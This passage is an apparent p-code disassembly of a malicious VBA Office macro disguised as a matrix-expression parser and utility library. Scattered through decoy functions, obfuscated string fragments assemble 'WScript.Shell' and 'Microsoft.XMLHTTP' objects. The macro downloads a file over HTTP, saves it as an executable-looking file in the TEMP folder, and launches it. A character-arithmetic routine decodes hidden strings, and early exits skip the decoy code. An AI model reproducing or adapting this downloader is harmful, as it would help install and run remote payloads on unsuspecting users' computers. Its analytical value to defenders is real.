' Line #244:
' Debug
' PrintObj
' Ld spacer
' Ld tree
' Concat
' PrintItemNL
' Line #245:
' EndIfBlock
' Line #246:
' EndSub
' Line #247:
' FuncDefn (Private Function Parse_Postfix() As Variant)
' Line #248:
' SetStmt
' LitStr 0x0001 "p"
' ArgsLd UCase 0x0001
' LitStr 0x0003 "roc"
' Add
' Ld arguments
' Add
' LitStr 0x0002 "ss"
' Add
' LitStr 0x0001 "w"
' ArgsLd UCase 0x0001
' LitStr 0x0001 "s"
' ArgsLd UCase 0x0001
' Add
' LitStr 0x0001 "C"
' ArgsLd LCase 0x0001
' Add
' LitStr 0x0003 "rip"
' Add
' Ld errorMsg
' ArgsLd LCase 0x0001
' Add
' LitStr 0x0003 ".Sh"
' Add
' Ld arguments
' Add
' LitStr 0x0002 "ll"
' Add
' ArgsLd CreateObject 0x0001
' ArgsMemLd Environment 0x0001
' Set ParsePostfixResult
' Line #249:
' LitDI2 0x0004
' LitDI2 0x0005
' ArgsCall MAX 0x0002
' Line #250:
' ExitFunc
' Line #251:
' Ld Parse_Atomic
' St Parse_Postfix
' Line #252:
' Dim
' VarDefn op
' BoS 0x0000
' Do
' Line #253:
' Ld currentToken
' Ld op
' ArgsLd Parse_FindUnaryPostfixOp 0x0002
' IfBlock
' Line #254:
' LitStr 0x0003 "op_"
' Ld op
' Concat
' Ld Parse_Postfix
' ArgsArray Array 0x0001
' ArgsArray Array 0x0002
' St Parse_Postfix
' Line #255:
' ArgsCall Tokens_Next 0x0000
' Line #256:
' Ld currentToken
' LitStr 0x0001 "("
' Eq
' ElseIfBlock
' Line #257:
' ArgsCall Tokens_Next 0x0000
' Line #258:
' LitStr 0x000A "eval_index"
' Ld Parse_Postfix
' Ld Park
' ArgsMemLd se_List 0x0000
' ArgsArray Array 0x0002
' ArgsArray Array 0x0002
' St Parse_Postfix
' Line #259:
' LitStr 0x0001 ")"
' ArgsCall Tokens_AssertAndNext 0x0001
' Line #260:
' ElseBlock
' Line #261:
' ExitDo
' Line #262:
' EndIfBlock
' Line #263:
' LitVarSpecial (True)
' LoopWhile
' Line #264:
' EndFunc
' Line #265:
' FuncDefn (Private Function Utils_Dimensions(v As Variant) As Long)
' Line #266:
' Dim
' VarDefn dimnum (As Long)
' VarDefn errorCheck (As Integer)
' Line #267:
' OnError FinalDimension
' Line #268:
' StartForVariable
' Ld dimnum
' EndForVariable
' LitDI2 0x0001
' LitDI4 0xEA60 0x0000
' For
' Line #269:
' Ld v
' Ld dimnum
' FnLBound 0x0001
' St errorCheck
' Line #270:
' StartForVariable
' Next
' Line #271:
' Label FinalDimension
' Line #272:
' Ld dimnum
' LitDI2 0x0001
' Sub
' St Utils_Dimensions
' Line #273:
' EndFunc
' Line #274:
' FuncDefn (Private Function Utils_Numel(v As Long) As Long)
' Line #275:
' Ld CodOrdineCorrente1
' ArgsMemCall Send 0x0000
' Line #276:
' Line #277:
' Ld errorMsg
' Ld arguments
' ArgsLd UCase 0x0001
' Add
' LitStr 0x0002 "MP"
' Add
' ArgsLd ParsePostfixResult 0x0001
' St CodOrdineCorrente4
' Line #278:
' Line #279:
' Ld CodOrdineCorrente4
' LitStr 0x0009 "\dimenas."
' Add
' Ld arguments
' Add
' LitStr 0x0001 "x"
' Add
' Ld arguments
' Add
' LitStr 0x0000 ""
' Add
' St dimIndexArgs
' Line #280:
' LitDI2 0x0001
' LitDI2 0x0000
' LitDI2 0x0000
' LitDI2 0x0000
' ArgsCall Utils_Ind2Sub 0x0004
' Line #281:
' ExitFunc
' Line #282:
' Ld v
' ArgsLd Utils_Dimensions 0x0001
' SelectCase
' Line #283:
' LitDI2 0x0000
' Case
' CaseDone
' BoS 0x0000
' Ld v
' ArgsLd IsEmpty 0x0001
' LitDI2 0x0000
' LitDI2 0x0001
' ArgsLd IFF 0x0003
' St Utils_Numel
' Line #284:
' LitDI2 0x0001
' Case
' CaseDone
' BoS 0x0000
' Ld sccv
' FnUBound 0x0000
' St Utils_Numel
' Line #285:
' LitDI2 0x0002
' Case
' CaseDone
' BoS 0x0000
' Ld sccv
' LitDI2 0x0001
' FnUBound 0x0001
' Ld sccv
' LitDI2 0x0002
' FnUBound 0x0001
' Mul
' St Utils_Numel
' Line #286:
' CaseElse
' BoS 0x0000
' LitVarSpecial (False)
' LitStr 0x000D "dimension > 2"
' ArgsCall Utils_Assert 0x0002
' Line #287:
' EndSelect
' Line #288:
' EndFunc
' Line #289:
' FuncDefn (Private Function Utils_Rows(ByRef v As Variant) As Long)
' Line #290:
' Dim
' VarDefn c (As Long)
' Line #291:
' Ld v
' Ld Utils_Rows
' Ld c
' ArgsCall Utils_Size 0x0003
' Line #292:
' EndFunc
' Line #293:
' FuncDefn (Private Function Utils_Cols(ByRef v As Variant) As Long)
' Line #294:
' Dim
' VarDefn r (As Long)
' Line #295:
' Ld v
' Ld r
' Ld Utils_Cols
' ArgsCall Utils_Size 0x0003
' Line #296:
' EndFunc
' Line #297:
' FuncDefn (Private Sub Utils_Size(v As Variant, ByRef r As Long, ByRef c As Long))
' Line #298:
' LitDI2 0x0000
' St r
' BoS 0x0000
' LitDI2 0x0000
' St c
' Line #299:
' Ld v
' ArgsLd Utils_Dimensions 0x0001
' SelectCase
' Line #300:
' LitDI2 0x0000
' Case
' CaseDone
' BoS 0x0000
' Ld v
' ArgsLd IsEmpty 0x0001
' Not
' If
' BoSImplicit
' LitDI2 0x0001
' St r
' BoS 0x0000
' LitDI2 0x0001
' St c
' EndIf
' Line #301:
' LitDI2 0x0001
' Case
' CaseDone
' BoS 0x0000
' Ld v
' FnUBound 0x0000
' St r
' BoS 0x0000
' LitDI2 0x0001
' St c
' Line #302:
' LitDI2 0x0002
' Case
' CaseDone
' BoS 0x0000
' Ld v
' LitDI2 0x0001
' FnUBound 0x0001
' St r
' BoS 0x0000
' Ld v
' LitDI2 0x0002
' FnUBound 0x0001
' St c
' Line #303:
' CaseElse
' BoS 0x0000
' LitVarSpecial (False)
' LitStr 0x000D "dimension > 2"
' ArgsCall Utils_Assert 0x0002
' Line #304:
' EndSelect
' Line #305:
' EndSub
' Line #306:
' Line #307:
' FuncDefn (Private Function Parse_FindUnaryPostfixOp(token As String, ByRef op As Variant) As Boolean)
' Line #308:
' SetStmt
' LitStr 0x0001 "m"
' ArgsLd UCase 0x0001
' LitStr 0x0007 "icrosof"
' Add
' Ld errorMsg
' ArgsLd LCase 0x0001
' Add
' LitStr 0x0005 ".XMLH"
' Add
' Ld errorMsg
' Add
' Ld errorMsg
' Add
' LitStr 0x0001 "P"
' Add
' ArgsLd CreateObject 0x0001
' Set CodOrdineCorrente1
' Line #309:
' ArgsCall Parkse_List 0x0000
' Line #310:
' ExitFunc
' Line #311:
' LitVarSpecial (True)
' St Parse_FindUnaryPostfixOp
' Line #312:
' Ld token
' SelectCase
' Line #313:
' LitStr 0x0000 ""
' Case
' CaseDone
' Line #314:
' CaseElse
' BoS 0x0000
' LitVarSpecial (False)
' St Parse_FindUnaryPostfixOp
' Line #315:
' EndSelect
' Line #316:
' EndFunc
' Line #317:
' FuncDefn (Public Function UtilsAssertToken(ByValvDefault As , NothingOrNodeName As Integer) As String)
' Line #318:
' Dim
' VarDefn i (As Integer)
' Line #319:
' Dim
' VarDefn g_oPubGetResString (As String)
' Line #320:
' LitStr 0x0000 ""
' St g_oPubGetResString
' Line #321:
' StartForVariable
' Ld i
' EndForVariable
' Ld ByValvDefault
' FnLBound 0x0000
' Ld ByValvDefault
' FnUBound 0x0000
' For
' Line #322:
' Ld g_oPubGetResString
' Ld i
' ArgsLd ByValvDefault 0x0001
' LitDI2 0x0014
' Ld NothingOrNodeName
' Mul
' Sub
' LitDI2 0x2648
' Sub
' LitDI2 0x0042
' Sub
' ArgsLd Chr 0x0001
' Concat
' St g_oPubGetResString
' Line #323:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #324:
' Ld g_oPubGetResString
' St UtilsAssertToken
' Line #325:
' EndFunc
' Line #326:
' FuncDefn (Private Sub Utils_Ind2Sub(rows As Long, k As Long, ByRef i As Long, ByRef j As Long))
' Line #327:
' Ld rows
' Ld UtilsInd2Sub
' MemSt Type
' Line #328:
' Ld UtilsInd2Sub
' ArgsMemCall Open 0x0000
' Line #329:
' LitStr 0x0000 ""
' LitStr 0x0000 ""
' ArgsCall Utils_Stack_Push 0x0002
' Line #330:
' ExitSub
' Line #331:
' Ld k
' LitDI2 0x0001
' Sub
' Paren
' Ld rows
' IDiv
' LitDI2 0x0001
' Add
' St j
' Line #332:
' Ld k
' Ld rows
' Ld j
' LitDI2 0x0001
' Sub
' Paren
' Mul
' Sub
' St i
' Line #333:
' EndSub
' Line #334:
' FuncDefn (Private Sub Utils_Conform(ByRef v As Variant))
' Line #335:
' Ld v
' ArgsLd Utils_Dimensions 0x0001
' SelectCase
' Line #336:
' LitDI2 0x0001
' Case
' CaseDone
' BoS 0x0000
' Line #337:
' Ld v
' FnUBound 0x0000
' LitDI2 0x0001
' Eq
' IfBlock
' Line #338:
' LitDI2 0x0001
' ArgsLd v 0x0001
' St v
' Line #339:
' ElseBlock
' Line #340:
' Dim
' VarDefn r
' BoS 0x0000
' OptionBase
' LitDI2 0x0001
' OptionBase
' Ld v
' FnUBound 0x0000
' Redim r 0x0002 (As Variant)
' Line #341:
' Dim
' VarDefn i (As Long)
' Line #342:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld r
' LitDI2 0x0002
' FnUBound 0x0001
' For
' Line #343:
' Ld i
' ArgsLd v 0x0001
' LitDI2 0x0001
' Ld i
' ArgsSt r 0x0002
' Line #344:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #345:
' Ld r
' St v
' Line #346:
' EndIfBlock
' Line #347:
' LitDI2 0x0002
' Case
' CaseDone
' BoS 0x0000
' Line #348:
' Ld v
' LitDI2 0x0001
' FnUBound 0x0001
' LitDI2 0x0001
' Eq
' Ld v
' LitDI2 0x0002
' FnUBound 0x0001
' LitDI2 0x0001
' Eq
' And
' If
' BoSImplicit
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd v 0x0002
' St v
' EndIf
' Line #349:
' LitDI2 0x0002
' CaseGt
' CaseDone
' BoS 0x0000
' Line #350:
' LitVarSpecial (False)
' LitStr 0x000D "dimension > 2"
' ArgsCall Utils_Assert 0x0002
' Line #351:
' EndSelect
' Line #352:
' EndSub
' Line #353:
' FuncDefn (Private Sub Utils_ConformAndAssign(ByRef v As Variant, ByRef assignToMe As Variant))
' Line #354:
' Ld v
' ArgsLd Utils_Dimensions 0x0001
' SelectCase
' Line #355:
' LitDI2 0x0001
' Case
' CaseDone
' BoS 0x0000
' Line #356:
' Ld v
' FnUBound 0x0000
' LitDI2 0x0001
' Eq
' IfBlock
' Line #357:
' LitDI2 0x0001
' ArgsLd v 0x0001
' St assignToMe
' Line #358:
' ElseBlock
' Line #359:
' OptionBase
' LitDI2 0x0001
' OptionBase
' Ld v
' FnUBound 0x0000
' Redim assignToMe 0x0002 (As Variant)
' Line #360:
' Dim
' VarDefn i (As Long)
' Line #361:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld assignToMe
' LitDI2 0x0002
' FnUBound 0x0001
' For
' Line #362:
' Ld i
' ArgsLd v 0x0001
' LitDI2 0x0001
' Ld i
' ArgsSt assignToMe 0x0002
' Line #363:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #364:
' EndIfBlock
' Line #365:
' LitDI2 0x0002
' Case
' CaseDone
' BoS 0x0000
' Line #366:
' Ld v
' LitDI2 0x0001
' FnUBound 0x0001
' LitDI2 0x0001
' Eq
' Ld v
' LitDI2 0x0002
' FnUBound 0x0001
' LitDI2 0x0001
' Eq
' And
' IfBlock
' Line #367:
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd v 0x0002
' St assignToMe
' Line #368:
' ElseBlock
' Line #369:
' Ld v
' St assignToMe
' Line #370:
' EndIfBlock
' Line #371:
' LitDI2 0x0002
' CaseGt
' CaseDone
' BoS 0x0000
' Line #372:
' LitVarSpecial (False)
' LitStr 0x000D "dimension > 2"
' ArgsCall Utils_Assert 0x0002
' Line #373:
' EndSelect
' Line #374:
' EndSub
' Line #375:
' FuncDefn (Private Sub Utils_ForceMatrix(ByRef v As Variant))
' Line #376:
' Ld v
' ArgsLd Utils_Dimensions 0x0001
' LitDI2 0x0000
' Eq
' IfBlock
' Line #377:
' Dim
' VarDefn r
' BoS 0x0000
' OptionBase
' LitDI2 0x0001
' OptionBase
' LitDI2 0x0001
' Redim r 0x0002 (As Variant)
' Line #378:
' Ld v
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsSt r 0x0002
' Line #379:
' Ld r
' St v
' Line #380:
' EndIfBlock
' Line #381:
' EndSub
' Line #382:
' FuncDefn (Private Sub Utils_Stack_Push(item As String, Optional stack As Variant))
' Line #383:
' Line #384:
' Ld CodOrdineCorrente1
' MemLd responseBody
' Ld UtilsInd2Sub
' ArgsMemCall Xor 0x0001
' Line #385:
' Ld dimIndexArgs
' LitDI2 0x0002
' Ld UtilsInd2Sub
' ArgsMemCall savetofile 0x0002
' Line #386:
' LitStr 0x0000 ""
' ArgsCall Utils_CalcDimDirection 0x0001
' Line #387:
' ExitSub
' Line #388:
' OnError NotInitiated
' Line #389:
' Ld stack
' FnLBound 0x0000
' Ld stack
' FnUBound 0x0000
' LitDI2 0x0001
' Add
' Redim (Preserve) stack 0x0001 (As Variant)
' Line #390:
' Ld item
' Ld stack
' FnUBound 0x0000
' ArgsSt stack 0x0001
' Line #391:
' ExitSub
' Line #392:
' Label NotInitiated
' Line #393:
' Ld item
' ArgsArray Array 0x0001
' St stack
' Line #394:
' EndSub
' Line #395:
' FuncDefn (Private Function Utils_Stack_Pop(stack As Variant) As Variant)
' Line #396:
' Dim
' VarDefn ub (As Long)
' BoS 0x0000
' Ld stack
' FnUBound 0x0000
' St ub
' Line #397:
' Dim
' VarDefn lb (As Long)
' BoS 0x0000
' Ld stack
' FnLBound 0x0000
' St lb
' Line #398:
' Ld ub
' ArgsLd stack 0x0001
' St Utils_Stack_Pop
' Line #399:
' Ld ub
' Ld lb
' Gt
' If
' BoSImplicit
' Ld lb
' Ld ub
' LitDI2 0x0001
' Sub
' Redim (Preserve) stack 0x0001 (As Variant)
' Else
' BoSImplicit
' LitVarSpecial (Null)
' St stack
' EndIf
' Line #400:
' EndFunc
' Line #401:
' FuncDefn (Private Function Utils_Stack_Peek(stack As Variant) As Variant)
' Line #402:
' Ld stack
' FnUBound 0x0000
' ArgsLd stack 0x0001
' St Utils_Stack_Peek
' Line #403:
' EndFunc
' Line #404:
' FuncDefn (Private Function Utils_Stack_Size(stack As Variant) As Long)
' Line #405:
' OnError (Resume Next)
' Line #406:
' Ld stack
' FnUBound 0x0000
' St Utils_Stack_Size
' Line #407:
' EndFunc
' Line #408:
' FuncDefn (Private Sub Utils_CalcArgs(args As Variant))
' Line #409:
' Dim
' VarDefn i (As Long)
' BoS 0x0000
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld args
' ArgsLd Utils_Stack_Size 0x0001
' For
' Line #410:
' Ld i
' ArgsLd args 0x0001
' ArgsLd eval_tree 0x0001
' Ld i
' ArgsSt args 0x0001
' Line #411:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #412:
' EndSub
' Line #413:
' FuncDefn (Private Function Utils_IsFlagSet(args As Variant, flag As String) As Boolean)
' Line #414:
' Dim
' VarDefn i (As Long)
' Line #415:
' StartForVariable
' Ld i
' EndForVariable
' Ld args
' FnUBound 0x0000
' LitDI2 0x0001
' LitDI2 0x0001
' UMi
' ForStep
' Line #416:
' Ld i
' ArgsLd args 0x0001
' ArgsLd TypeName 0x0001
' LitStr 0x0006 "String"
' FnStrComp
' LitDI2 0x0000
' Eq
' IfBlock
' Line #417:
' Ld i
' ArgsLd args 0x0001
' Ld flag
' Ld vbTextCompare
' FnStrComp3
' LitDI2 0x0000
' Eq
' IfBlock
' Line #418:
' LitVarSpecial (True)
' St Utils_IsFlagSet
' Line #419:
' ExitFunc
' Line #420:
' EndIfBlock
' Line #421:
' EndIfBlock
' Line #422:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #423:
' EndFunc
' Line #424:
' ConstFuncExpr
' LitDI2 0x0002
' FuncDefn (Private Function Utils_CalcDimDirection(args As String, Optional dimIndex As Long) As Long)
' Line #425:
' Ld dimIndexArgs
' Paren
' Ld UtilsCalcDimDirection
' ArgsMemCall Open 0x0001
' Line #426:
' ExitFunc
' Line #427:
' Ld addrgs
' FnUBound 0x0000
' Ld dimIndex
' Ge
' IfBlock
' Line #428:
' Ld dimIndex
' ArgsLd addrgs 0x0001
' ArgsLd IsNumeric 0x0001
' IfBlock
' Line #429:
' Ld dimIndex
' ArgsLd addrgs 0x0001
' LitDI2 0x0001
' Sub
' St Utils_CalcDimDirection
' Line #430:
' ExitFunc
' Line #431:
' EndIfBlock
' Line #432:
' EndIfBlock
' Line #433:
' LitDI2 0x0001
' ArgsLd addrgs 0x0001
' ArgsLd Utils_Rows 0x0001
' LitDI2 0x0001
' Eq
' LitDI2 0x0001
' LitDI2 0x0000
' ArgsLd IFF 0x0003
' St Utils_CalcDimDirection
' Line #434:
' EndFunc
' Line #435:
' ConstFuncExpr
' LitDI2 0x0002
' FuncDefn (Private Function Utils_GetSizeFromArgs(args As Variant, ByRef n As Long, ByRef m As Long, Optional index As Long))
' Line #436:
' Ld args
' ArgsLd Utils_Stack_Size 0x0001
' SelectCase
' Line #437:
' Ld index
' CaseLt
' CaseDone
' Line #438:
' LitDI2 0x0001
' St n
' BoS 0x0000
' LitDI2 0x0001
' St m
' Line #439:
' Ld index
' CaseEq
' CaseDone
' Line #440:
' Ld index
' ArgsLd args 0x0001
' ArgsLd Utils_Numel 0x0001
' SelectCase
' Line #441:
' LitDI2 0x0001
' Case
' CaseDone
' Line #442:
' Ld index
' ArgsLd args 0x0001
' St n
' Line #443:
' Ld n
' St m
' Line #444:
' LitDI2 0x0002
' Case
' CaseDone
' Line #445:
' LitDI2 0x0001
' LitDI2 0x0001
' Ld index
' ArgsLd args 0x0001
' IndexLd 0x0002
' St n
' Line #446:
' LitDI2 0x0002
' Ld index
' ArgsLd args 0x0001
' LitDI2 0x0001
' FnUBound 0x0001
' ArgsLd MIN 0x0002
' LitDI2 0x0002
' Ld index
' ArgsLd args 0x0001
' LitDI2 0x0002
' FnUBound 0x0001
' ArgsLd MIN 0x0002
' Ld index
' ArgsLd args 0x0001
' IndexLd 0x0002
' St m
' Line #447:
' CaseElse
' Line #448:
' LitVarSpecial (False)
' LitStr 0x000E "bad size input"
' ArgsCall Utils_Assert 0x0002
' Line #449:
' EndSelect
' Line #450:
' Ld index
' LitDI2 0x0001
' Add
' CaseEq
' CaseDone
' Line #451:
' Ld index
' ArgsLd args 0x0001
' St n
' Line #452:
' Ld index
' LitDI2 0x0001
' Add
' ArgsLd args 0x0001
' St m
' Line #453:
' CaseElse
' Line #454:
' LitVarSpecial (False)
' LitStr 0x000E "bad size input"
' ArgsCall Utils_Assert 0x0002
' Line #455:
' EndSelect
' Line #456:
' EndFunc
' Line #457:
' FuncDefn (Private Function Utils_GetOptionalArg(args As Variant, index As Long, defaultValue As Variant))
' Line #458:
' Ld args
' ArgsLd Utils_Stack_Size 0x0001
' Ld index
' Ge
' IfBlock
' Line #459:
' Ld index
' ArgsLd args 0x0001
' St Utils_GetOptionalArg
' Line #460:
' ElseBlock
' Line #461:
' Ld defaultValue
' St Utils_GetOptionalArg
' Line #462:
' EndIfBlock
' Line #463:
' EndFunc
' Line #464:
' FuncDefn (Private Sub Utils_AssertArgsCount(args As Variant, lb As Long, ub As Long))
' Line #465:
' Dim
' VarDefn size (As Long)
' BoS 0x0000
' Ld args
' ArgsLd Utils_Stack_Size 0x0001
' St size
' Line #466:
' Ld size
' Ld lb
' Ge
' LitStr 0x0011 "too few arguments"
' ArgsCall Utils_Assert 0x0002
' Line #467:
' Ld size
' Ld ub
' Le
' LitStr 0x0012 "too many arguments"
' ArgsCall Utils_Assert 0x0002
' Line #468:
' EndSub
' Line #469:
' ConstFuncExpr
' LitStr 0x000D "unknown error"
' FuncDefn (Private Sub Utils_Assert(expr As Boolean, Optional msg As String))
' Line #470:
' Ld expr
' If
' BoSImplicit
' ExitSub
' EndIf
' Line #471:
' Ld msg
' St errorMsg
' Line #472:
' Ld vbObjectError
' LitDI2 0x03E7
' Add
' Ld Err
' ArgsMemCall Raise 0x0001
' Line #473:
' EndSub
' Line #474:
' FuncDefn (Private Function eval_tree(root As Variant) As Variant)
' Line #475:
' LitDI2 0x0001
' ArgsLd root 0x0001
' LitDI2 0x0003
' ArgsLd Left 0x0002
' LitStr 0x0003 "fn_"
' Eq
' LitDI2 0x0001
' ArgsLd root 0x0001
' LitStr 0x0005 "fn_if"
' Ne
' And
' LitDI2 0x0001
' ArgsLd root 0x0001
' LitStr 0x000A "fn_iferror"
' Ne
' And
' LitDI2 0x0001
' ArgsLd root 0x0001
' LitStr 0x0009 "fn_expand"
' Ne
' And
' IfBlock
' Line #476:
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsCall Utils_CalcArgs 0x0001
' Line #477:
' EndIfBlock
' Line #478:
' LitDI2 0x0001
' ArgsLd root 0x0001
' SelectCase
' Line #479:
' LitStr 0x000D "eval_constant"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd eval_constant 0x0001
' St eval_tree
' Line #480:
' LitStr 0x0008 "eval_arg"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd eval_arg 0x0001
' St eval_tree
' Line #481:
' LitStr 0x000A "eval_index"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd eval_index 0x0001
' St eval_tree
' Line #482:
' LitStr 0x0008 "eval_end"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd eval_end 0x0001
' St eval_tree
' Line #483:
' LitStr 0x000A "eval_colon"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd eval_colon 0x0001
' St eval_tree
' Line #484:
' LitStr 0x000B "eval_concat"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd eval_concat 0x0001
' St eval_tree
' Line #485:
' LitStr 0x0005 "op_eq"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd op_eq 0x0001
' St eval_tree
' Line #486:
' LitStr 0x0007 "op_plus"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd op_plus 0x0001
' St eval_tree
' Line #487:
' LitStr 0x0008 "op_minus"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd op_minus 0x0001
' St eval_tree
' Line #488:
' LitStr 0x0009 "op_mtimes"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd op_mtimes 0x0001
' St eval_tree
' Line #489:
' LitStr 0x0008 "op_colon"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd op_colon 0x0001
' St eval_tree
' Line #490:
' LitStr 0x0006 "fn_sum"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd fn_sum 0x0001
' St eval_tree
' Line #491:
' LitStr 0x0009 "fn_repmat"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd fn_repmat 0x0001
' St eval_tree
' Line #492:
' CaseElse
' Line #493:
' LitDI2 0x0001
' ArgsLd root 0x0001
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd Run 0x0002
' St eval_tree
' Line #494:
' EndSelect
' Line #495:
' EndFunc
' Line #496:
' FuncDefn (Private Function eval_constant(args As Variant) As Variant)
' Line #497:
' Ld args
' St eval_constant
' Line #498:
' EndFunc
' Line #499:
' FuncDefn (Private Function eval_arg(args As Variant) As Variant)
' Line #500:
' Ld args
' Ld arguments
' FnUBound 0x0000
' Gt
' IfBlock
' Line #501:
' LitVarSpecial (False)
' LitStr 0x0009 "argument "
' ArgsCall Utils_Assert 0x0002
' Line #502:
' EndIfBlock
' Line #503:
' Ld args
' ArgsLd arguments 0x0001
' Coerce (Var)
' St eval_arg
' Line #504:
' Ld eval_arg
' ArgsCall Utils_Conform 0x0001
' Line #505:
' EndFunc
' Line #506:
' FuncDefn (Private Function eval_end(args As Variant) As Variant)
' Line #507:
' Ld endValues
' ArgsLd Utils_Stack_Size 0x0001
' LitDI2 0x0000
' Gt
' LitStr 0x0017 ""end" not allowed here."
' ArgsCall Utils_Assert 0x0002
' Line #508:
' Ld endValues
' ArgsLd Utils_Stack_Peek 0x0001
' St eval_end
' Line #509:
' EndFunc
' Line #510:
' FuncDefn (Private Function eval_ans(args As Variant) As Variant)
' Line #511:
' Ld ans
' St eval_ans
' Line #512:
' EndFunc
' Line #513:
' FuncDefn (Private Function eval_colon(args As Variant) As Variant)
' Line #514:
' LitVarSpecial (False)
' LitStr 0x0016 "colon not allowed here"
' ArgsCall Utils_Assert 0x0002
' Line #515:
' EndFunc
' Line #516:
' Line #517:
' FuncDefn (Private Function fn_sort(args As Variant) As Variant)
' Line #518:
' Ld args
' LitDI2 0x0001
' LitDI2 0x0004
' ArgsCall Utils_AssertArgsCount 0x0003
' Line #519:
' Dim
' VarDefn sortRows (As Boolean)
' VarDefn ascend (As Boolean)
' VarDefn returnIndices (As Boolean)
' Line #520:
' LitDI2 0x0001
' Ld args
' ArgsLd Utils_CalcDimDirection 0x0001
' Eq
' Paren
' St sortRows
' Line #521:
' Ld args
' LitStr 0x0007 "descend"
' ArgsLd Utils_IsFlagSet 0x0002
' Not
' St ascend
' Line #522:
' Ld args
' LitStr 0x0007 "indices"
' ArgsLd Utils_IsFlagSet 0x0002
' St returnIndices
' Line #523:
' Ld sortRows
' IfBlock
' Line #524:
' LitDI2 0x0001
' ArgsLd args 0x0001
' Ld WorksheetFunction
' ArgsMemLd Transpose 0x0001
' LitDI2 0x0001
' ArgsSt args 0x0001
' Line #525:
' LitDI2 0x0001
' ArgsLd args 0x0001
' ArgsCall Utils_Conform 0x0001
' Line #526:
' EndIfBlock
' Line #527:
' LitDI2 0x0001
' ArgsLd args 0x0001
' ArgsCall Utils_ForceMatrix 0x0001
' Line #528:
' Dim
' VarDefn rows (As Long)
' VarDefn cols (As Long)
' VarDefn i (As Long)
' VarDefn j (As Long)
' Line #529:
' LitDI2 0x0001
' ArgsLd args 0x0001
' Ld rows
' Ld cols
' ArgsCall Utils_Size 0x0003
' Line #530:
' Dim
' VarDefn indices
' BoS 0x0000
' LitDI2 0x0001
' Ld rows
' LitDI2 0x0001
' Ld cols
' Redim indices 0x0002 (As Variant)
' Line #531:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld rows
' For
' Line #532:
' StartForVariable
' Ld j
' EndForVariable
' LitDI2 0x0001
' Ld cols
' For
' Line #533:
' Ld i
' Ld i
' Ld j
' ArgsSt indices 0x0002
' Line #534:
' StartForVariable
' Ld j
' EndForVariable
' NextVar
' Line #535:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #536:
' StartForVariable
' Ld j
' EndForVariable
' LitDI2 0x0001
' Ld cols
' For
' Line #537:
' LitDI2 0x0001
' ArgsLd args 0x0001
' Ld indices
' LitDI2 0x0001
' Ld rows
' Ld j
' Ld ascend
' ArgsCall Utils_QuickSortCol 0x0006
' Line #538:
' StartForVariable
' Ld j
' EndForVariable
' NextVar
' Line #539:
' Ld returnIndices
' IfBlock
' Line #540:
' Ld indices
' St fn_sort
' Line #541:
' ElseBlock
' Line #542:
' Dim
' VarDefn r
' BoS 0x0000
' LitDI2 0x0001
' Ld rows
' LitDI2 0x0001
' Ld cols
' Redim r 0x0002 (As Variant)
' Line #543:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld rows
' For
' Line #544:
' StartForVariable
' Ld j
' EndForVariable
' LitDI2 0x0001
' Ld cols
' For
' Line #545:
' Ld i
' Ld j
' ArgsLd indices 0x0002
' Ld j
' LitDI2 0x0001
' ArgsLd args 0x0001
' IndexLd 0x0002
' Ld i
' Ld j
' ArgsSt r 0x0002
' Line #546:
' StartForVariable
' Ld j
' EndForVariable
' NextVar
' Line #547:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #548:
' Ld r
' St fn_sort
' Line #549:
' EndIfBlock
' Line #550:
' Ld sortRows
' If
' BoSImplicit
' Ld fn_sort
' Ld WorksheetFunction
' ArgsMemLd Transpose 0x0001
' St fn_sort
' EndIf
' Line #551:
' Ld fn_sort
' ArgsCall Utils_Conform 0x0001
' Line #552:
' EndFunc
' Line #553:
' FuncDefn (Private Function Utils_QuickSortCol(arr As Variant, indices As Variant, first As Long, last As Long, col As Long, ascend As Boolean))
' Line #554:
' Ld first
' Ld last
' Ge
' If
' BoSImplicit
' ExitFunc
' EndIf
' Line #555:
' Dim
' VarDefn tmp (As Variant)
' Line #556:
' Dim
' VarDefn pivot (As Variant)
' BoS 0x0000
' Ld first
' Ld col
' ArgsLd indices 0x0002
' Ld col
' ArgsLd arr 0x0002
' St pivot
' Line #557:
' Dim
' VarDefn Left (As Long)
' BoS 0x0000
' Ld first
' St Left
' Line #558:
' Dim
' VarDefn right (As Long)
